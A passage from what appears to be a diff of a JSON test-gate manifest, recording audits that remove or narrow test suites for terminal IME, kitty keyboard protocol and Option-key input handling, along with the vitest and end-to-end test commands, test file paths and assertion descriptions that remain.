including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked AgentTerminalPreview component suite is removed, including the snapshot-proven kitty mirror forwarding alarm. Remove its active file, command token and assertion reference; the other IME drivers are unchanged and do not replace the removed component checks. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1619 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally reduces src/renderer/src/components/terminal-pane/terminal-ime-candidate-key-release-guard.test.ts: Loses direct timestamp-formula assertion; no useful independent alarm in removed registration. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1361 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1301 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser native-keyboard fallback inventory case. Its empty-chord, absent-layout and no-op-subscription alarms are lost; retained native input evidence is not an equivalent replacement. Historical commands and results remain historical. Local macOS and containerized Linux evidence, deterministic renderer-unit coverage for the Linux/Sogou candidate-key policy including the legacy orphaned-keyup fallback, xterm preedit visibility and row-occlusion behavior, Electron/CDP preedit geometry, Electron/CDP live-PTY Sogou-style repros, and macOS renderer/main slices for Preview kitty commits and layout-native Option input. The Option slice covers complete CSI-u flag fields including lock state, repeat/release event types, authoritative committed associated text, native dead-key release suppression, functional-versus-printable numpad codes, press-pinned release identity, live keyup modifiers, pending-layout text fallback, atomic layout refresh, rapid in-focus input-source changes, stable native layout characters, and both native/web preload fallbacks. The standalone remote SnapshotStart metadata suite is removed. Its proven-zero, nonzero, absent-field and malformed-value propagation alarms are intentionally lost; retained daemon and preview consumer contracts do not establish equivalent remote projection coverage. Historical commands and results remain historical. Real Linux/Sogou OS IME automation, native Windows candidate-window placement, Windows ConPTY post-agent reset, and the CJK/Vietnamese/Arabic matrix remain registered gaps. The audit removes isolated candidate-anchor width, last-column, timer-ordering and detached-textarea examples. The retained deterministic fixtures do not observe a native candidate window or establish equivalent geometry coverage; separate Electron geometry evidence remains historical. The test-value audit removes the empty end-of-row/no-tail composition baseline from terminal-korean-midline-preedit-occlusion.spec.ts. The placeholder masking and measured row-tail occlusion registrations remain; they are not equivalent replacement coverage for the removed empty-tail alarm. No new execution or native IME evidence is claimed. Audit1301: src/renderer/src/components/terminal-pane/terminal-shortcut-option-compose.test.ts reduced. Dead-key/IME variants, Unicode/language inventories, numpad/CapsLock cases and other protocol samples lose their individual alarms. No equivalent replacement coverage is claimed. Audit1320: src/renderer/src/lib/keyboard-layout/layout-base-character.test.ts reduced. Last-complete snapshot while layout-map/native-snapshot partial refresh settles loses its individual implementation-cache alarm. No equivalent replacement coverage is claimed. Audit1342: src/renderer/src/components/terminal-pane/terminal-ime-macos-keybinding-dict-trace.test.ts reduced. Second Korean-layout replay, ordinary Korean/ASCII no-remap baselines and weak Option nonempty-byte alarm are dropped. No equivalent replacement coverage is claimed. Audit1361: src/renderer/src/components/dashboard-popout/preview-terminal-snapshot-replay.test.ts removed. Snapshot/live-proven kitty flags, replacement choice and replay idempotence in the assembled mirror. No equivalent replacement coverage is claimed. Audit1365: focused Linux unit selection passed on source head 8880357cb420c45f1b808ae545a5bc609324624d. This new result has its own exact command; historical results keep their prior scope. Intentional test losses remain recorded in knownGaps. No physical-provider, native input, rendered E2E, p95, soak or replacement-coverage claim. Audit1391: src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts reduced. Lose explicit one-read/unchanged-style work budget across 30 syllables and single-timer burst alarm. Synthetic screen bounds/terminal cursor bound retained proof to DOM anchor updates, not actual OS IME placement. src/renderer/src/components/terminal-pane/terminal-kitty-csi-u-encoding.test.ts reduced. Lose explicit PC-101 alternate omission, multi-codepoint/control associated text filtering, lock modifier integer, shifted punctuation, standalone separator and printable nonfunctional keypad fallbacks. Retained pure encoding is a wire-contract check without host input delivery. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1396: src/renderer/src/components/terminal-pane/xterm-bypass-policy.test.ts reduced. Lose standalone handled Ctrl, Shift+Space, shifted non-ASCII keydown and active-composition backspace/arrow/text/Process suppression alarms. No actual IME/PTY encoding occurs. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/lib/keyboard-layout/option-as-alt-probe.test.ts removed. Intentionally loses invalidation, focus/manual refresh gating and stale/newest generation settlement outcomes, including direct stale category suppression. No equivalent replacement or default preload input-source delivery claim. src/renderer/src/components/terminal-pane/terminal-ime-substituted-text-commit.test.ts removed. Intentionally loses substituted sentence punctuation, shifted/backslash/multi-unit/full-width/letter input and Kitty flag/release/report encoding alarms across14 authored registrations. No equivalent replacement or real pane/browser input delivery claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.\",\n\"oracle\": \"Audit5117 narrows the Kitty tracker from 20 to 3 authored/finite cases. Retain exact split-live confirmed-shell-reset parity against xterm, replay-push idempotence with one live exit pop, and snapshot-restored nonzero-frame exhaustion yielding unknown proof. Intentionally remove nullish guards, generic push/pop and set/or/clear/default samples, ordinary split/C1 and fragmented DECSTR samples, reset/DECSTR/RIS matrices, replayed-pop happy path, relative/absolute proof, no-frame omitted-history pop, zero-baseline proof preservation, screen proof movement, baseline-grounding getter cases and withheld-protocol checks. No equivalent replacement or fresh execution claimed. Dated receipts and historical prose retain original scope. Previous account (preserved verbatim): Audit3699 removes the complete restored app-owned-copy xterm bypass predicate suite (3 authored/3 finite). Intentionally lose Linux/Windows Ctrl+Shift+C keydown/keyup and logical-over-physical-key pass-through, selection/Kitty-disabled/defaultPrevented refusal, and macOS Cmd+C pass-through/selection/Kitty-disabled policy alarms. No actual browser dispatch, clipboard operation, negotiated application bytes, native key delivery or PTY result was established by this driver. No equivalent replacement or fresh execution claimed. Preserve all prior dated receipts and historical accounts. Previous oracle (preserved verbatim): Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. The complete mocked AgentTerminalPreview component suite is removed, including the snapshot-proven kitty mirror forwarding alarm. Remove its active file, command token and assertion reference; the other IME drivers are unchanged and do not replace the removed component checks. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Exact outbound bytes from the REAL native-text forwarder behind installPreviewImeBridge after initial snapshot restore, replacement resync, live transitions, and both keydown->insertText->keyup and keydown->keyup->insertText orderings; a wiring-only mock is supporting evidence, not the oracle. The current renderer-unit slice asserts native text commits route to the intended PTY once, composition/preedit bookkeeping does not leak premature text, resumed Windows event traces reactivate the visible preedit, an opaque mid-line overlay reproduces the committed row tail it covers, arbitrary DIM output remains visible, and final-column layout keeps both caret and textarea candidate anchor within the available screen width. The retained candidate-anchor slice checks layout-read caching, deferred timer coalescing, recognized-screen follow-ups and refit refresh with deterministic DOM fixtures. A Codex frame whose prompt row is bold and whose dimmed model footer sits below a blank gap acquires the mask class while composing; the same placeholder text without that footer, a framed-versus-unframed Claude prompt, a row of arbitrary dimmed output, and a row carrying typed text do not. The class is gone after composition end, after a blur that is not followed by a session end, and after disposal. Rendered Electron/CDP geometry independently proves the overlay reproduces every committed cell it hides, that a real Codex placeholder at column 2 is masked rather than repeated, and that the final-column caret, preedit, and textarea right edges all land inside the screen. Input-source classification handles synthetic/native paths, paste/runtime forwarding avoids duplicate terminal payloads for covered fixtures, and real fcitx4/Sogou captures send only the committed candidate for Space/digit picks while ordinary typing, literal Space and digits stay available. A main/preload/renderer notification chain proves every live window invalidates immediately, the old native read settles before a coalesced refresh signal, and older refreshes are generation-fenced. The Electron/CDP live-PTY repro verifies Sogou-style Space and digit selectors submit only the committed Chinese text. Real legacy IME commit preservation, native candidate-window placement, and the full CJK/Vietnamese/Arabic/JIS-yen matrix run in follow-up platform soak where automation is possible.\",\n\"commands\": [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/main/ipc/macos-keyboard-layout-change-notifications.test.ts src/renderer/src/web/web-preload-api-ui.test.ts\",\n \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"pnpm run test:e2e -- tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n \"pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts\"\n ],\n\"testFiles\": [\n \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts\",\n \"src/shared/terminal/input/terminal-composer-draft.test.ts\",\n \"src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n \"src/main/ipc/macos-keyboard-layout-change-notifications.test.ts\",\n \"src/renderer/src/web/web-preload-api-ui.test.ts\",\n \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\"\n ],\n\"assertionRefs\": [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"assertions\": [\n \"real fcitx4 Sogou captures (GTK module and XIM) send only the committed candidate for Space and digit picks, under legacy keys and kitty flags 1 and 5\",\n \"a real fcitx4 Google Pinyin in-client preedit still commits through the composition path\",\n \"an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\n \"assertions\": [\"A transaction inferred from update alone commits and cleans up.\"]\n },\n {\n \"file\": \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n \"assertions\": [\n \"a live kitty-negotiated pane receives the Option-composed ASCII character, not the physical alt chord\",\n \"an Option layer that also needs Shift still reaches the pty as text\",\n \"configured Option-as-Alt still reports the layout-resolved physical chord\",\n \"a non-ASCII Option glyph still reaches the application as its alt hotkey\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n \"assertions\": [\"Autorepeat cannot replace the first release sender.\"]\n },\n {\n \"file\": \"src/main/ipc/macos-keyboard-layout-change-notifications.test.ts\",\n \"assertions\": [\n \"rapid input-source changes coalesce to one latest-generation refresh signal\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n \"assertions\": [\n \"a split live CSI interrupted by the production confirmed-shell reset leaves mirror and xterm at flags 0 on alt and 5 after exit\",\n \"repeated replay pushes cannot inflate the live stack: one live exit pop returns flags to zero\",\n \"a live push/pop after restoring nonzero snapshot metadata exhausts the mirror stack to numeric zero with undefined snapshot proof\"\n ]\n },\n {\n \"file\": \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"assertions\": [\n \"Sogou-style Space candidate selection submits only the committed Chinese character\",\n \"Sogou-style digit candidate selection submits only the committed Chinese phrase\",\n \"Post-composition Sogou-style digit selection stays out of the PTY after compositionend\",\n \"Legacy orphaned-letter-keyup digit selection submits no selector byte to the PTY; real legacy candidate commit preservation remains a platform gap\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n \"assertions\": [\n \"the rendered final-column preedit caret remains inside the terminal screen\",\n \"a rendered full-width Korean preedit spans materially more than the one terminal cell reported in #12729\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n \"assertions\": [\n \"the rendered opaque overlay reproduces every committed row-tail cell its measured rectangle hides\",\n \"a real Codex placeholder with bold prompt, blank footer gap, model footer, and cursor at column 2 stays masked\"\n ]\n }\n ]\n}", "Audit5896 retires the whole update-only resumed-preedit visibility suite, intentionally losing its real commit/visibility/cleanup alarm. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete original active selector fields archived as JSON history: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/web-preload-api-ui.test.ts\",\"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\"pnpm run test:e2e -- tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\"pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts\"],\"testFiles\":[\"tests/e2e/terminal-option-composed-ascii.spec.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts\",\"src/shared/terminal/input/terminal-composer-draft.test.ts\",\"src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\"src/renderer/src/web/web-preload-api-ui.test.ts\",\"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"assertions\":[\"real fcitx4 Sogou captures (GTK module and XIM) send only the committed candidate for Space and digit picks, under legacy keys and kitty flags 1 and 5\",\"a real fcitx4 Google Pinyin in-client preedit still commits through the composition path\",\"an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick\"]},{\"file\":\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\"assertions\":[\"A transaction inferred from update alone commits and cleans up.\"]},{\"file\":\"tests/e2e/terminal-option-composed-ascii.spec.ts\",\"assertions\":[\"a live kitty-negotiated pane receives the Option-composed ASCII character, not the physical alt chord\",\"an Option layer that also needs Shift still reaches the pty as text\",\"configured Option-as-Alt still reports the layout-resolved physical chord\",\"a non-ASCII Option glyph still reaches the application as its alt hotkey\"]},{\"file\":\"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\"assertions\":[\"Autorepeat cannot replace the first release sender.\"]},{\"file\":\"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\"assertions\":[\"a split live CSI interrupted by the production confirmed-shell reset leaves mirror and xterm at flags 0 on alt and 5 after exit\",\"repeated replay pushes cannot inflate the live stack: one live exit pop returns flags to zero\",\"a live push/pop after restoring nonzero snapshot metadata exhausts the mirror stack to numeric zero with undefined snapshot proof\"]},{\"file\":\"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\"assertions\":[\"Sogou-style Space candidate selection submits only the committed Chinese character\",\"Sogou-style digit candidate selection submits only the committed Chinese phrase\",\"Post-composition Sogou-style digit selection stays out of the PTY after compositionend\",\"Legacy orphaned-letter-keyup digit selection submits no selector byte to the PTY; real legacy candidate commit preservation remains a platform gap\"]},{\"file\":\"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\"assertions\":[\"the rendered final-column preedit caret remains inside the terminal screen\",\"a rendered full-width Korean preedit spans materially more than the one terminal cell reported in #12729\"]},{\"file\":\"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\"assertions\":[\"the rendered opaque overlay reproduces every committed row-tail cell its measured rectangle hides\",\"a real Codex placeholder with bold prompt, blank footer gap, model footer, and cursor at column 2 stays masked\"]}]}", "Audit5914 retires the whole renderer suite selecting real xterm non-placeholder remainder/mask ownership, blur cleanup, active repaint reclassification and newest composition-session ownership. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim.", - "Module-layout web/session cleanup: The three UI TEST registrations are retained under their moved owner; no TEST coverage loss is claimed. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/97/commands/4\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/web-preload-api-ui.test.ts\\\"\"},{\"pointer\":\"/gates/97/testFiles/7\",\"raw\":\"\\\"src/renderer/src/web/web-preload-api-ui.test.ts\\\"\"}]" + "Module-layout web/session cleanup: The three UI TEST registrations are retained under their moved owner; no TEST coverage loss is claimed. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/97/commands/4\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/web-preload-api-ui.test.ts\\\"\"},{\"pointer\":\"/gates/97/testFiles/7\",\"raw\":\"\\\"src/renderer/src/web/web-preload-api-ui.test.ts\\\"\"}]", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts\",\n \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"pnpm run test:e2e -- tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n \"pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts\"\n ]\ntestFiles: [\n \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"src/shared/terminal/input/terminal-composer-draft.test.ts\",\n \"src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n \"src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts\",\n \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n \"assertions\": [\n \"real fcitx4 Sogou captures (GTK module and XIM) send only the committed candidate for Space and digit picks, under legacy keys and kitty flags 1 and 5\",\n \"a real fcitx4 Google Pinyin in-client preedit still commits through the composition path\",\n \"an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n \"assertions\": [\n \"a live kitty-negotiated pane receives the Option-composed ASCII character, not the physical alt chord\",\n \"an Option layer that also needs Shift still reaches the pty as text\",\n \"configured Option-as-Alt still reports the layout-resolved physical chord\",\n \"a non-ASCII Option glyph still reaches the application as its alt hotkey\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n \"assertions\": [\"Autorepeat cannot replace the first release sender.\"]\n },\n {\n \"file\": \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n \"assertions\": [\n \"a split live CSI interrupted by the production confirmed-shell reset leaves mirror and xterm at flags 0 on alt and 5 after exit\",\n \"repeated replay pushes cannot inflate the live stack: one live exit pop returns flags to zero\",\n \"a live push/pop after restoring nonzero snapshot metadata exhausts the mirror stack to numeric zero with undefined snapshot proof\"\n ]\n },\n {\n \"file\": \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n \"assertions\": [\n \"Sogou-style Space candidate selection submits only the committed Chinese character\",\n \"Sogou-style digit candidate selection submits only the committed Chinese phrase\",\n \"Post-composition Sogou-style digit selection stays out of the PTY after compositionend\",\n \"Legacy orphaned-letter-keyup digit selection submits no selector byte to the PTY; real legacy candidate commit preservation remains a platform gap\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n \"assertions\": [\n \"the rendered final-column preedit caret remains inside the terminal screen\",\n \"a rendered full-width Korean preedit spans materially more than the one terminal cell reported in #12729\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n \"assertions\": [\n \"the rendered opaque overlay reproduces every committed row-tail cell its measured rectangle hides\",\n \"a real Codex placeholder with bold prompt, blank footer gap, model footer, and cursor at column 2 stays masked\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts\",\"pnpm run test:e2e -- 